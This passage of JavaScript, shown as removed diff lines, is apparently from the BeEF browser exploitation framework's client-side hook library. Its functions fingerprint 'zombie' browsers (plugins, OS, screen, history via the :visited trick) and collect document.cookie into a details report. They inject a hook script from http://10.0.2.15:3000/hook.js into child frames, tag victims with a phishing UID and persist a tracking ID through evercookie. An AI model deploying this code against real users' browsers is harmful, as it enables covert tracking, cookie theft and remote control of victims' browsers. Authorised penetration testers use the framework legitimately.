- return 'UNKNOWN'; // Unknown UA
- },
- /**
- * Returns the type of user agent by hooked browser.
- * @return: {String} User agent software.
- *
- * @example: beef.browser.getBrowserName()
- */
- getBrowserName: function () {
- if (this.isC()) {
- return 'C'
- }
- ; // Chrome any version
- if (this.isFF()) {
- return 'FF'
- }
- ; // Firefox any version
- if (this.isIE()) {
- return 'IE'
- }
- ; // Internet Explorer any version
- if (this.isEdge()) {
- return 'E'
- }
- ; // Microsoft Edge any version
- if (this.isO()) {
- return 'O'
- }
- ; // Opera any version
- if (this.isEpi()) {
- return 'EP'
- }
- ; // Epiphany any version
- if (this.isS()) {
- return 'S'
- }
- ; // Safari any version
- if (this.isA()) {
- return 'A'
- }
- ; // Avant any version
- if (this.isMidori()) {
- return 'MI'
- }
- ; // Midori any version
- if (this.isOdyssey()) {
- return 'OD'
- }
- ; // Odyssey any version
- if (this.isBrave()) {
- return 'BR'
- }
- ; // Brave any version
- return 'UNKNOWN'; // Unknown UA
- },
- /**
- * Hooks all child frames in the current window
- * Restricted by same-origin policy
- */
- hookChildFrames: function () {
- // create script object
- var script = document.createElement('script');
- script.type = 'text/javascript';
- script.src = 'http://10.0.2.15:3000/hook.js';
- // loop through child frames
- for (var i = 0; i < self.frames.length; i++) {
- try {
- // append hook script
- self.frames[i].document.body.appendChild(script);
- beef.debug("Hooked child frame [src:" + self.frames[i].window.location.href + "]");
- } catch (e) {
- // warn on cross-origin
- beef.debug("Hooking child frame failed: " + e.message);
- }
- }
- },
- /**
- * Checks if the zombie has flash installed and enabled.
- * @return: {Boolean} true or false.
- *
- * @example: if(beef.browser.hasFlash()) { ... }
- */
- hasFlash: function () {
- if (!this.type().IE) {
- return (navigator.mimeTypes && navigator.mimeTypes["application/x-shockwave-flash"]);
- } else {
- flash_versions = 12;
- flash_installed = false;
- if (this.type().IE11) {
- flash_installed = (navigator.plugins["Shockwave Flash"] != undefined);
- } else {
- if (window.ActiveXObject != null) {
- for (x = 2; x <= flash_versions; x++) {
- try {
- Flash = eval("new ActiveXObject('ShockwaveFlash.ShockwaveFlash." + x + "');");
- if (Flash) {
- flash_installed = true;
- }
- } catch (e) {
- beef.debug("Creating Flash ActiveX object failed: " + e.message);
- }
- }
- }
- }
- return flash_installed;
- }
- },
- /**
- * Checks if the zombie has the QuickTime plugin installed.
- * @return: {Boolean} true or false.
- *
- * @example: if ( beef.browser.hasQuickTime() ) { ... }
- */
- hasQuickTime: function () {
- var quicktime = false;
- if (this.capabilities()["navigator.plugins"]) {
- for (i = 0; i < navigator.plugins.length; i++) {
- if (navigator.plugins[i].name.indexOf("QuickTime") >= 0) {
- quicktime = true;
- }
- }
- // Has navigator.plugins
- } else {
- try {
- var qt_test = new ActiveXObject('QuickTime.QuickTime');
- } catch (e) {
- beef.debug("Creating QuickTime ActiveX object failed: " + e.message);
- }
- if (qt_test) {
- quicktime = true;
- }
- }
- return quicktime;
- },
- /**
- * Checks if the zombie has the RealPlayer plugin installed.
- * @return: {Boolean} true or false.
- *
- * @example: if ( beef.browser.hasRealPlayer() ) { ... }
- */
- hasRealPlayer: function () {
- var realplayer = false;
- if (this.capabilities()["navigator.plugins"]) {
- for (i = 0; i < navigator.plugins.length; i++) {
- if (navigator.plugins[i].name.indexOf("RealPlayer") >= 0) {
- realplayer = true;
- }
- }
- // has navigator.plugins
- } else {
- var definedControls = [
- 'RealPlayer',
- 'rmocx.RealPlayer G2 Control',
- 'rmocx.RealPlayer G2 Control.1',
- 'RealPlayer.RealPlayer(tm) ActiveX Control (32-bit)',
- 'RealVideo.RealVideo(tm) ActiveX Control (32-bit)'
- ];
- for (var i = 0; i < definedControls.length; i++) {
- try {
- var rp_test = new ActiveXObject(definedControls[i]);
- } catch (e) {
- beef.debug("Creating RealPlayer ActiveX object failed: " + e.message);
- }
- if (rp_test) {
- realplayer = true;
- }
- }
- }
- return realplayer;
- },
- /**
- * Checks if the zombie has the Windows Media Player plugin installed.
- * @return: {Boolean} true or false.
- *
- * @example: if ( beef.browser.hasWMP() ) { ... }
- */
- hasWMP: function () {
- var wmp = false;
- if (this.capabilities()["navigator.plugins"]) {
- for (i = 0; i < navigator.plugins.length; i++) {
- if (navigator.plugins[i].name.indexOf("Windows Media Player") >= 0) {
- wmp = true;
- }
- }
- // Has navigator.plugins
- } else {
- try {
- var wmp_test = new ActiveXObject('WMPlayer.OCX');
- } catch (e) {
- beef.debug("Creating WMP ActiveX object failed: " + e.message);
- }
- if (wmp_test) {
- wmp = true;
- }
- }
- return wmp;
- },
- /**
- * Checks if VLC is installed
- * @return: {Boolean} true or false
- **/
- hasVLC: function () {
- var vlc = false;
- if (!this.type().IE) {
- for (i = 0; i < navigator.plugins.length; i++) {
- if (navigator.plugins[i].name.indexOf("VLC") >= 0) {
- vlc = true;
- }
- }
- } else {
- try {
- control = new ActiveXObject("VideoLAN.VLCPlugin.2");
- vlc = true;
- } catch (e) {
- beef.debug("Creating VLC ActiveX object failed: " + e.message);
- }
- }
- return vlc;
- },
- /**
- * Checks if the zombie has Java enabled.
- * @return: {Boolean} true or false.
- *
- * @example: if(beef.browser.javaEnabled()) { ... }
- */
- javaEnabled: function () {
- return navigator.javaEnabled();
- },
- /**
- * Checks if the Phonegap API is available from the hooked origin.
- * @return: {Boolean} true or false.
- *
- * @example: if(beef.browser.hasPhonegap()) { ... }
- */
- hasPhonegap: function () {
- var result = false;
- try {
- if (!!device.phonegap || !!device.cordova) result = true; else result = false;
- }
- catch (e) {
- result = false;
- }
- return result;
- },
- /**
- * Checks if the browser supports CORS
- * @return: {Boolean} true or false.
- *
- * @example: if(beef.browser.hasCors()) { ... }
- */
- hasCors: function () {
- if ('withCredentials' in new XMLHttpRequest())
- return true;
- else if (typeof XDomainRequest !== "undefined")
- return true;
- else
- return false;
- },
- /**
- * Checks if the zombie has Java installed and enabled.
- * @return: {Boolean} true or false.
- *
- * @example: if(beef.browser.hasJava()) { ... }
- */
- hasJava: function () {
- if (beef.browser.getPlugins().match(/java/i) && beef.browser.javaEnabled()) {
- return true;
- } else {
- return false;
- }
- },
- /**
- * Checks if the zombie has VBScript enabled.
- * @return: {Boolean} true or false.
- *
- * @example: if(beef.browser.hasVBScript()) { ... }
- */
- hasVBScript: function () {
- if ((navigator.userAgent.indexOf('MSIE') != -1) && (navigator.userAgent.indexOf('Win') != -1)) {
- return true;
- } else {
- return false;
- }
- },
- /**
- * Returns the list of plugins installed in the browser.
- */
- getPlugins: function () {
- var results;
- Array.prototype.unique = function () {
- var o = {}, i, l = this.length, r = [];
- for (i = 0; i < l; i += 1) o[this[i]] = this[i];
- for (i in o) r.push(o[i]);
- return r;
- };
- // Things lacking navigator.plugins
- if (!this.capabilities()["navigator.plugins"]) results = this.getPluginsIE();
- // All other browsers that support navigator.plugins
- else if (navigator.plugins && navigator.plugins.length > 0) {
- results = new Array();
- for (var i = 0; i < navigator.plugins.length; i++) {
- // Firefox returns exact plugin versions
- if (beef.browser.isFF()) results[i] = navigator.plugins[i].name + '-v.' + navigator.plugins[i].version;
- // Webkit and Presto (Opera)
- // Don't support the version attribute
- // Sometimes store the version in description (Real, Adobe)
- else results[i] = navigator.plugins[i].name;// + '-desc.' + navigator.plugins[i].description;
- }
- results = results.unique().toString();
- // All browsers that don't support navigator.plugins
- } else {
- results = new Array();
- //firefox https://bugzilla.mozilla.org/show_bug.cgi?id=757726
- // On linux sistem the "version" slot is empty so I'll attach "description" after version
- var plugins = {
- 'AdobeAcrobat': {
- 'control': 'Adobe Acrobat',
- 'return': function (control) {
- try {
- version = navigator.plugins["Adobe Acrobat"]["description"];
- return 'Adobe Acrobat Version ' + version; //+ " description "+ filename;
- }
- catch (e) {
- }
- }},
- 'Flash': {
- 'control': 'Shockwave Flash',
- 'return': function (control) {
- try {
- version = navigator.plugins["Shockwave Flash"]["description"];
- return 'Flash Player Version ' + version; //+ " description "+ filename;
- }
- catch (e) {
- }
- }},
- 'Google_Talk_Plugin_Accelerator': {
- 'control': 'Google Talk Plugin Video Accelerator',
- 'return': function (control) {
- try {
- version = navigator.plugins['Google Talk Plugin Video Accelerator']["description"];
- return 'Google Talk Plugin Video Accelerator Version ' + version; //+ " description "+ filename;
- }
- catch (e) {
- }
- }},
- 'Google_Talk_Plugin': {
- 'control': 'Google Talk Plugin',
- 'return': function (control) {
- try {
- version = navigator.plugins['Google Talk Plugin']["description"];
- return 'Google Talk Plugin Version ' + version;// " description "+ filename;
- }
- catch (e) {
- }
- }},
- 'Facebook_Video_Calling_Plugin': {
- 'control': 'Facebook Video Calling Plugin',
- 'return': function (control) {
- try {
- version = navigator.plugins["Facebook Video Calling Plugin"]["description"];
- return 'Facebook Video Calling Plugin Version ' + version;//+ " description "+ filename;
- }
- catch (e) {
- }
- }},
- 'Google_Update': {
- 'control': 'Google Update',
- 'return': function (control) {
- try {
- version = navigator.plugins["Google Update"]["description"];
- return 'Google Update Version ' + version//+ " description "+ filename;
- }
- catch (e) {
- }
- }},
- 'Windows_Activation_Technologies': {
- 'control': 'Windows Activation Technologies',
- 'return': function (control) {
- try {
- version = navigator.plugins["Windows Activation Technologies"]["description"];
- return 'Windows Activation Technologies Version ' + version;//+ " description "+ filename;
- }
- catch (e) {
- }
- }},
- 'VLC_Web_Plugin': {
- 'control': 'VLC Web Plugin',
- 'return': function (control) {
- try {
- version = navigator.plugins["VLC Web Plugin"]["description"];
- return 'VLC Web Plugin Version ' + version;//+ " description "+ filename;
- }
- catch (e) {
- }
- }},
- 'Google_Earth_Plugin': {
- 'control': 'Google Earth Plugin',
- 'return': function (control) {
- try {
- version = navigator.plugins['Google Earth Plugin']["description"];
- return 'Google Earth Plugin Version ' + version;//+ " description "+ filename;
- }
- catch (e) {
- }
- }},
- 'FoxitReader_Plugin': {
- 'control': 'FoxitReader Plugin',
- 'return': function (control) {
- try {
- version = navigator.plugins['Foxit Reader Plugin for Mozilla']['version'];
- return 'FoxitReader Plugin Version ' + version;
- } catch (e) {
- }
- }}
- };
- var c = 0;
- for (var i in plugins) {
- //each element od plugins
- var control = plugins[i]['control'];
- try {
- var version = plugins[i]['return'](control);
- if (version) {
- results[c] = version;
- c = c + 1;
- }
- }
- catch (e) {
- }
- }
- }
- // Return results
- return results;
- },
- /**
- * Returns a list of plugins detected by IE. This is a hack because IE doesn't
- * support navigator.plugins
- */
- getPluginsIE: function () {
- var results = '';
- var plugins = {
- 'AdobePDF6': {
- 'control': 'PDF.PdfCtrl',
- 'return': function (control) {
- version = control.getVersions().split(',');
- version = version[0].split('=');
- return 'Acrobat Reader v' + parseFloat(version[1]);
- }},
- 'AdobePDF7': {
- 'control': 'AcroPDF.PDF',
- 'return': function (control) {
- version = control.getVersions().split(',');
- version = version[0].split('=');
- return 'Acrobat Reader v' + parseFloat(version[1]);
- }},
- 'Flash': {
- 'control': 'ShockwaveFlash.ShockwaveFlash',
- 'return': function (control) {
- version = control.getVariable('$version').substring(4);
- return 'Flash Player v' + version.replace(/,/g, ".");
- }},
- 'Quicktime': {
- 'control': 'QuickTime.QuickTime',
- 'return': function (control) {
- return 'QuickTime Player';
- }},
- 'RealPlayer': {
- 'control': 'RealPlayer',
- 'return': function (control) {
- version = control.getVersionInfo();
- return 'RealPlayer v' + parseFloat(version);
- }},
- 'Shockwave': {
- 'control': 'SWCtl.SWCtl',
- 'return': function (control) {
- version = control.ShockwaveVersion('').split('r');
- return 'Shockwave v' + parseFloat(version[0]);
- }},
- 'WindowsMediaPlayer': {
- 'control': 'WMPlayer.OCX',
- 'return': function (control) {
- return 'Windows Media Player v' + parseFloat(control.versionInfo);
- }},
- 'FoxitReaderPlugin': {
- 'control': 'FoxitReader.FoxitReaderCtl.1',
- 'return': function (control) {
- return 'Foxit Reader Plugin v' + parseFloat(control.versionInfo);
- }}
- };
- if (window.ActiveXObject) {
- var j = 0;
- for (var i in plugins) {
- var control = null;
- var version = null;
- try {
- control = new ActiveXObject(plugins[i]['control']);
- } catch (e) {
- }
- if (control) {
- if (j != 0)
- results += ', ';
- results += plugins[i]['return'](control);
- j++;
- }
- }
- }
- return results;
- },
- /**
- * Returns zombie screen size and color depth.
- */
- getScreenSize: function () {
- return {
- width: window.screen.width,
- height: window.screen.height,
- colordepth: window.screen.colorDepth
- }
- },
- /**
- * Returns zombie browser window size.
- * @from: http://www.howtocreate.co.uk/tutorials/javascript/browserwindow
- */
- getWindowSize: function () {
- var myWidth = 0, myHeight = 0;
- if (typeof( window.innerWidth ) == 'number') {
- // Non-IE
- myWidth = window.innerWidth;
- myHeight = window.innerHeight;
- } else if (document.documentElement && ( document.documentElement.clientWidth || document.documentElement.clientHeight )) {
- // IE 6+ in 'standards compliant mode'
- myWidth = document.documentElement.clientWidth;
- myHeight = document.documentElement.clientHeight;
- } else if (document.body && ( document.body.clientWidth || document.body.clientHeight )) {
- // IE 4 compatible
- myWidth = document.body.clientWidth;
- myHeight = document.body.clientHeight;
- }
- return {
- width: myWidth,
- height: myHeight
- }
- },
- /**
- * Construct hash from browser details. This function is used to grab the browser details during the hooking process
- */
- getDetails: function () {
- var details = new Array();
- var browser_name = beef.browser.getBrowserName();
- var browser_version = beef.browser.getBrowserVersion();
- var browser_reported_name = beef.browser.getBrowserReportedName();
- var browser_language = beef.browser.getBrowserLanguage();
- var page_title = (document.title) ? document.title : "Unknown";
- var page_uri = (document.location.href) ? document.location.href : "Unknown";
- var page_referrer = (document.referrer) ? document.referrer : "Unknown";
- var hostname = (document.location.hostname) ? document.location.hostname : "Unknown";
- switch (document.location.protocol) {
- case "http:":
- var default_port = "80";
- break;
- case "https:":
- var default_port = "443";
- break
- default:
- var default_port = "";
- }
- var hostport = (document.location.port) ? document.location.port : default_port;
- var browser_plugins = beef.browser.getPlugins();
- var date_stamp = new Date().toString();
- var os_name = beef.os.getName();
- var os_version = beef.os.getVersion();
- var default_browser = beef.os.getDefaultBrowser();
- var hw_name = beef.hardware.getName();
- var cpu_type = beef.hardware.cpuType();
- var touch_enabled = (beef.hardware.isTouchEnabled()) ? "Yes" : "No";
- var browser_platform = (typeof(navigator.platform) != "undefined" && navigator.platform != "") ? navigator.platform : 'Unknown';
- var browser_type = JSON.stringify(beef.browser.type(), function (key, value) {
- if (value == true) return value;
- else if (typeof value == 'object') return value;
- else return undefined;
- });
- var screen_size = beef.browser.getScreenSize();
- var window_size = beef.browser.getWindowSize();
- var vbscript_enabled = (beef.browser.hasVBScript()) ? "Yes" : "No";
- var has_flash = (beef.browser.hasFlash()) ? "Yes" : "No";
- var has_phonegap = (beef.browser.hasPhonegap()) ? "Yes" : "No";
- var has_googlegears = (beef.browser.hasGoogleGears()) ? "Yes" : "No";
- var has_web_socket = (beef.browser.hasWebSocket()) ? "Yes" : "No";
- var has_web_worker = (beef.browser.hasWebWorker()) ? "Yes" : "No";
- var has_web_gl = (beef.browser.hasWebGL()) ? "Yes" : "No";
- var has_webrtc = (beef.browser.hasWebRTC()) ? "Yes" : "No";
- var has_activex = (beef.browser.hasActiveX()) ? "Yes" : "No";
- var has_quicktime = (beef.browser.hasQuickTime()) ? "Yes" : "No";
- var has_realplayer = (beef.browser.hasRealPlayer()) ? "Yes" : "No";
- var has_wmp = (beef.browser.hasWMP()) ? "Yes" : "No";
- try {
- var cookies = document.cookie;
- /* Never stop the madness dear C.
- * var veglol = beef.browser.cookie.veganLol();
- */
- if (cookies) details['Cookies'] = cookies;
- } catch (e) {
- details['Cookies'] = "Cookies can't be read. The hooked origin is most probably using HttpOnly.";
- }
- if (browser_name) details['BrowserName'] = browser_name;
- if (browser_version) details['BrowserVersion'] = browser_version;
- if (browser_reported_name) details['BrowserReportedName'] = browser_reported_name;
- if (browser_language) details['BrowserLanguage'] = browser_language;
- if (page_title) details['PageTitle'] = page_title;
- if (page_uri) details['PageURI'] = page_uri;
- if (page_referrer) details['PageReferrer'] = page_referrer;
- if (hostname) details['HostName'] = hostname;
- if (hostport) details['HostPort'] = hostport;
- if (browser_plugins) details['BrowserPlugins'] = browser_plugins;
- if (os_name) details['OsName'] = os_name;
- if (os_version) details['OsVersion'] = os_version;
- if (default_browser) details['DefaultBrowser'] = default_browser;
- if (hw_name) details['Hardware'] = hw_name;
- if (cpu_type) details['CPU'] = cpu_type;
- if (touch_enabled) details['TouchEnabled'] = touch_enabled;
- if (date_stamp) details['DateStamp'] = date_stamp;
- if (browser_platform) details['BrowserPlatform'] = browser_platform;
- if (browser_type) details['BrowserType'] = browser_type;
- if (screen_size) details['ScreenSize'] = screen_size;
- if (window_size) details['WindowSize'] = window_size;
- if (vbscript_enabled) details['VBScriptEnabled'] = vbscript_enabled;
- if (has_flash) details['HasFlash'] = has_flash;
- if (has_phonegap) details['HasPhonegap'] = has_phonegap;
- if (has_web_socket) details['HasWebSocket'] = has_web_socket;
- if (has_web_worker) details['HasWebWorker'] = has_web_worker;
- if (has_web_gl) details['HasWebGL'] = has_web_gl;
- if (has_googlegears) details['HasGoogleGears'] = has_googlegears;
- if (has_webrtc) details['HasWebRTC'] = has_webrtc;
- if (has_activex) details['HasActiveX'] = has_activex;
- if (has_quicktime) details['HasQuickTime'] = has_quicktime;
- if (has_realplayer) details['HasRealPlayer'] = has_realplayer;
- if (has_wmp) details['HasWMP'] = has_wmp;
- var pf_integration = "";
- if (pf_integration) {
- var pf_param = "uid";
- var pf_victim_uid = "";
- var location_search = window.location.search.substring(1);
- var params = location_search.split('&');
- for (var i = 0; i < params.length; i++) {
- var param_entry = params[i].split('=');
- if (param_entry[0] == pf_param) {
- pf_victim_uid = param_entry[1];
- details['PhishingFrenzyUID'] = pf_victim_uid;
- break;
- }
- }
- } else {
- details['PhishingFrenzyUID'] = "N/A";
- }
- return details;
- },
- /**
- * Returns boolean value depending on whether the browser supports ActiveX
- */
- hasActiveX: function () {
- return !!window.ActiveXObject;
- },
- /**
- * Returns boolean value depending on whether the browser supports WebRTC
- */
- hasWebRTC: function () {
- return (!!window.mozRTCPeerConnection || !!window.webkitRTCPeerConnection);
- },
- /**
- * Returns boolean value depending on whether the browser supports Silverlight
- */
- hasSilverlight: function () {
- var result = false;
- try {
- if (beef.browser.isIE()) {
- var slControl = new ActiveXObject('AgControl.AgControl');
- result = true;
- } else if (navigator.plugins["Silverlight Plug-In"]) {
- result = true;
- }
- } catch (e) {
- result = false;
- }
- return result;
- },
- /**
- * Returns array of results, whether or not the target zombie has visited the specified URL
- */
- hasVisited: function (urls) {
- var results = new Array();
- var iframe = beef.dom.createInvisibleIframe();
- var ifdoc = (iframe.contentDocument) ? iframe.contentDocument : iframe.contentWindow.document;
- ifdoc.open();
- ifdoc.write('<style>a:visited{width:0px !important;}</style>');
- ifdoc.close();
- urls = urls.split("\n");
- var count = 0;
- for (var i in urls) {
- var u = urls[i];
- if (u != "" || u != null) {
- var success = false;
- var a = ifdoc.createElement('a');
- a.href = u;
- ifdoc.body.appendChild(a);
- var width = null;
- (a.currentStyle) ? width = a.currentStyle['width'] : width = ifdoc.defaultView.getComputedStyle(a, null).getPropertyValue("width");
- if (width == '0px') {
- success = true;
- }
- results.push({'url': u, 'visited': success});
- count++;
- }
- }
- beef.dom.removeElement(iframe);
- if (results.length == 0) {
- return false;
- }
- return results;
- },
- /**
- * Checks if the zombie has Web Sockets enabled.
- * @return: {Boolean} true or false.
- * In FF6+ the websocket object has been prefixed with Moz, so now it's called MozWebSocket
- * */
- hasWebSocket: function () {
- return !!window.WebSocket || !!window.MozWebSocket;
- },
- /**
- * Checks if the zombie has Web Workers enabled.
- * @return: {Boolean} true or false.
- * */
- hasWebWorker: function () {
- return (typeof(Worker) !== "undefined");
- },
- /**
- * Checks if the zombie has WebGL enabled.
- * @return: {Boolean} true or false.
- *
- * @from: https://github.com/idofilin/webgl-by-example/blob/master/detect-webgl/detect-webgl.js
- * */
- hasWebGL: function () {
- try {
- var canvas = document.createElement("canvas");
- var gl = canvas.getContext("webgl") || canvas.getContext("experimental-webgl");
- return !!(gl && gl instanceof WebGLRenderingContext);
- } catch(e) {
- return false;
- }
- },
- /**
- * Checks if the zombie has Google Gears installed.
- * @return: {Boolean} true or false.
- *
- * @from: https://code.google.com/apis/gears/gears_init.js
- * */
- hasGoogleGears: function () {
- var ggfactory = null;
- // Chrome
- if (window.google && google.gears) return true;
- // Firefox
- if (typeof GearsFactory != 'undefined') {
- ggfactory = new GearsFactory();
- } else {
- // IE
- try {
- ggfactory = new ActiveXObject('Gears.Factory');
- // IE Mobile on WinCE.
- if (ggfactory.getBuildInfo().indexOf('ie_mobile') != -1) {
- ggfactory.privateSetGlobalObject(this);
- }
- } catch (e) {
- // Safari
- if ((typeof navigator.mimeTypes != 'undefined')
- && navigator.mimeTypes["application/x-googlegears"]) {
- ggfactory = document.createElement("object");
- ggfactory.style.display = "none";
- ggfactory.width = 0;
- ggfactory.height = 0;
- ggfactory.type = "application/x-googlegears";
- document.documentElement.appendChild(ggfactory);
- if (ggfactory && (typeof ggfactory.create == 'undefined')) ggfactory = null;
- }
- }
- }
- if (!ggfactory) return false; else return true;
- },
- /**
- * Checks if the zombie has Foxit PDF reader plugin.
- * @return: {Boolean} true or false.
- *
- * @example: if(beef.browser.hasFoxit()) { ... }
- * */
- hasFoxit: function () {
- var foxitplugin = false;
- try {
- if (beef.browser.isIE()) {
- var foxitControl = new ActiveXObject('FoxitReader.FoxitReaderCtl.1');
- foxitplugin = true;
- } else if (navigator.plugins['Foxit Reader Plugin for Mozilla']) {
- foxitplugin = true;
- }
- } catch (e) {
- foxitplugin = false;
- }
- return foxitplugin;
- },
- /**
- * Returns the page head HTML
- **/
- getPageHead: function () {
- var html_head;
- try {
- html_head = document.head.innerHTML.toString();
- } catch (e) {
- }
- return html_head;
- },
- /**
- * Returns the page body HTML
- **/
- getPageBody: function () {
- var html_body;
- try {
- html_body = document.body.innerHTML.toString();
- } catch (e) {
- }
- return html_body;
- },
- /**
- * Dynamically changes the favicon: works in Firefox, Chrome and Opera
- **/
- changeFavicon: function (favicon_url) {
- var iframe = null;
- if (this.isC()) {
- iframe = document.createElement('iframe');
- iframe.src = 'about:blank';
- iframe.style.display = 'none';
- document.body.appendChild(iframe);
- }
- var link = document.createElement('link'),
- oldLink = document.getElementById('dynamic-favicon');
- link.id = 'dynamic-favicon';
- link.rel = 'shortcut icon';
- link.href = favicon_url;
- if (oldLink) document.head.removeChild(oldLink);
- document.head.appendChild(link);
- if (this.isC()) iframe.src += '';
- },
- /**
- * Changes page title
- **/
- changePageTitle: function (title) {
- document.title = title;
- },
- /**
- * Get the browser language
- */
- getBrowserLanguage: function () {
- var l = 'Unknown';
- try {
- l = window.navigator.userLanguage || window.navigator.language;
- } catch (e) {
- }
- return l;
- },
- /**
- * A function that gets the max number of simultaneous connections the
- * browser can make per origin, or globally on all origin.
- *
- * This code is based on research from browserspy.dk
- *
- * @parameter {ENUM: 'PER_DOMAIN', 'GLOBAL'=>default}
- * @return {Deferred promise} A jQuery deferred object promise, which when resolved passes
- * the number of connections to the callback function as "this"
- *
- * example usage:
- * $j.when(getMaxConnections()).done(function(){
- * console.debug("Max Connections: " + this);
- * });
- *
- */
- getMaxConnections: function (scope) {
- var imagesCount = 30; // Max number of images to test
- var secondsTimeout = 5; // Image load timeout threashold
- var testUrl = ""; // The image testing service URL
- // User broserspy.dk max connections service URL.
- if (scope == 'PER_DOMAIN')
- testUrl = "http://browserspy.dk/connections.php?img=1&random=";
- else
- // The token will be replaced by a different number with each request (different origin).
- testUrl = "http://<token>.browserspy.dk/connections.php?img=1&random=";
- var imagesLoaded = 0; // Number of responding images before timeout.
- var imagesRequested = 0; // Number of requested images.
- var testImages = new Array(); // Array of all images.
- var deferredObject = $j.Deferred(); // A jquery Deferred object.
- for (var i = 1; i <= imagesCount; i++) {
- // Asynchronously request image.
- testImages[i] =
- $j.ajax({
- type: "get",
- dataType: true,
- url: (testUrl.replace("<token>", i)) + Math.random(),
- data: "",
- timeout: (secondsTimeout * 1000),
- // Function on completion of request.
- complete: function (jqXHR, textStatus) {
- imagesRequested++;
- // If the image returns a 200 or a 302, the text Status is "error", else null
- if (textStatus == "error") {
- imagesLoaded++;
- }
- // If all images requested
- if (imagesRequested >= imagesCount) {
- // resolve the deferred object passing the number of loaded images.
- deferredObject.resolveWith(imagesLoaded);
- }
- }
- });
- }
- // Return a promise to resolve the deffered object when the images are loaded.
- return deferredObject.promise();
- }
- };
- beef.regCmp('beef.browser');
- //
- // Copyright (c) 2006-2018 Wade Alcorn - wade@bindshell.net
- // Browser Exploitation Framework (BeEF) - http://beefproject.com
- // See the file 'doc/COPYING' for copying permission
- //
- /*!
- * @literal object: beef.browser.cookie
- *
- * Provides fuctions for working with cookies.
- * Several functions adopted from http://techpatterns.com/downloads/javascript_cookies.php
- * Original author unknown.
- *
- */
- beef.browser.cookie = {
- setCookie: function (name, value, expires, path, domain, secure)
- {
- var today = new Date();
- today.setTime( today.getTime() );
- if ( expires )
- {
- expires = expires * 1000 * 60 * 60 * 24;
- }
- var expires_date = new Date( today.getTime() + (expires) );
- document.cookie = name + "=" +escape( value ) +
- ( ( expires ) ? ";expires=" + expires_date.toGMTString() : "" ) +
- ( ( path ) ? ";path=" + path : "" ) +
- ( ( domain ) ? ";domain=" + domain : "" ) +
- ( ( secure ) ? ";secure" : "" );
- },
- getCookie: function(name)
- {
- var a_all_cookies = document.cookie.split( ';' );
- var a_temp_cookie = '';
- var cookie_name = '';
- var cookie_value = '';
- var b_cookie_found = false;
- for ( i = 0; i < a_all_cookies.length; i++ )
- {
- a_temp_cookie = a_all_cookies[i].split( '=' );
- cookie_name = a_temp_cookie[0].replace(/^\s+|\s+$/g, '');
- if ( cookie_name == name )
- {
- b_cookie_found = true;
- if ( a_temp_cookie.length > 1 )
- {
- cookie_value = unescape( a_temp_cookie[1].replace(/^\s+|\s+$/g, '') );
- }
- return cookie_value;
- break;
- }
- a_temp_cookie = null;
- cookie_name = '';
- }
- if ( !b_cookie_found )
- {
- return null;
- }
- },
- deleteCookie: function (name, path, domain)
- {
- if ( this.getCookie(name) ) document.cookie = name + "=" +
- ( ( path ) ? ";path=" + path : "") +
- ( ( domain ) ? ";domain=" + domain : "" ) +
- ";expires=Thu, 01-Jan-1970 00:00:01 GMT";
- },
- /* Never stop the madness dear C. */
- veganLol: function (){
- var to_hell= '';
- var min = 17;
- var max = 25;
- var lol_length = Math.floor(Math.random() * (max - min + 1)) + min;
- var grunt = function(){
- var moo = Math.floor(Math.random() * 62);
- var char = '';
- if(moo < 36){
- char = String.fromCharCode(moo + 55);
- }else{
- char = String.fromCharCode(moo + 61);
- }
- if(char != ';' && char != '='){
- return char;
- }else{
- return 'x';
- }
- };
- while(to_hell.length < lol_length){
- to_hell += grunt();
- }
- return to_hell;
- },
- hasSessionCookies: function (name){
- this.setCookie( name, beef.browser.cookie.veganLol(), '', '/', '', '' );
- cookiesEnabled = (this.getCookie(name) == null)? false:true;
- this.deleteCookie(name, '/', '');
- return cookiesEnabled;
- },
- hasPersistentCookies: function (name){
- this.setCookie( name, beef.browser.cookie.veganLol(), 1, '/', '', '' );
- cookiesEnabled = (this.getCookie(name) == null)? false:true;
- this.deleteCookie(name, '/', '');
- return cookiesEnabled;
- }
- };
- beef.regCmp('beef.browser.cookie');
- //
- // Copyright (c) 2006-2018 Wade Alcorn - wade@bindshell.net
- // Browser Exploitation Framework (BeEF) - http://beefproject.com
- // See the file 'doc/COPYING' for copying permission
- //
- /*!
- * @literal object: beef.browser.popup
- *
- * Provides fuctions for working with cookies.
- * Several functions adopted from http://davidwalsh.name/popup-block-javascript
- * Original author unknown.
- *
- */
- beef.browser.popup = {
- blocker_enabled: function ()
- {
- screenParams = beef.browser.getScreenSize();
- var popUp = window.open('/', 'windowName0', 'width=1, height=1, left='+screenParams.width+', top='+screenParams.height+', scrollbars, resizable');
- if (popUp == null || typeof(popUp)=='undefined') {
- return true;
- } else {
- popUp.close();
- return false;
- }
- }
- };
- beef.regCmp('beef.browser.popup');
- //
- // Copyright (c) 2006-2018 Wade Alcorn - wade@bindshell.net
- // Browser Exploitation Framework (BeEF) - http://beefproject.com
- // See the file 'doc/COPYING' for copying permission
- //
- /*!
- * @literal object: beef.session
- *
- * Provides basic session functions.
- */
- beef.session = {
- hook_session_id_length: 80,
- hook_session_id_chars: "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789",
- ec: new evercookie(),
- beefhook: "BEEFHOOK",
- /**
- * Gets a string which will be used to identify the hooked browser session
- *
- * @example: var hook_session_id = beef.session.get_hook_session_id();
- */
- get_hook_session_id: function() {
- // check if the browser is already known to the framework
- var id = this.ec.evercookie_cookie(beef.session.beefhook);
- if (typeof id == 'undefined') {
- var id = this.ec.evercookie_userdata(beef.session.beefhook);
- }
- if (typeof id == 'undefined') {
- var id = this.ec.evercookie_window(beef.session.beefhook);
- }
- // if the browser is not known create a hook session id and set it
- if ((typeof id == 'undefined') || (id == null)) {
- id = this.gen_hook_session_id();
- this.set_hook_session_id(id);
- }
- // return the hooked browser session identifier
- return id;
- },
- /**
- * Sets a string which will be used to identify the hooked browser session
- *
- * @example: beef.session.set_hook_session_id('RANDOMSTRING');
- */
- set_hook_session_id: function(id) {
- // persist the hook session id
- this.ec.evercookie_cookie(beef.session.beefhook, id);
- this.ec.evercookie_userdata(beef.session.beefhook, id);
- this.ec.evercookie_window(beef.session.beefhook, id);
- },
- /**
- * Generates a random string using the chars in hook_session_id_chars.
- *
- * @example: beef.session.gen_hook_session_id();
- */
- gen_hook_session_id: function() {
- // init the return value
- var hook_session_id = "";
- // construct the random string
- for(var i=0; i<this.hook_session_id_length; i++) {
- var rand_num = Math.floor(Math.random()*this.hook_session_id_chars.length);
- hook_session_id += this.hook_session_id_chars.charAt(rand_num);
- }
- return hook_session_id;
- }
- };
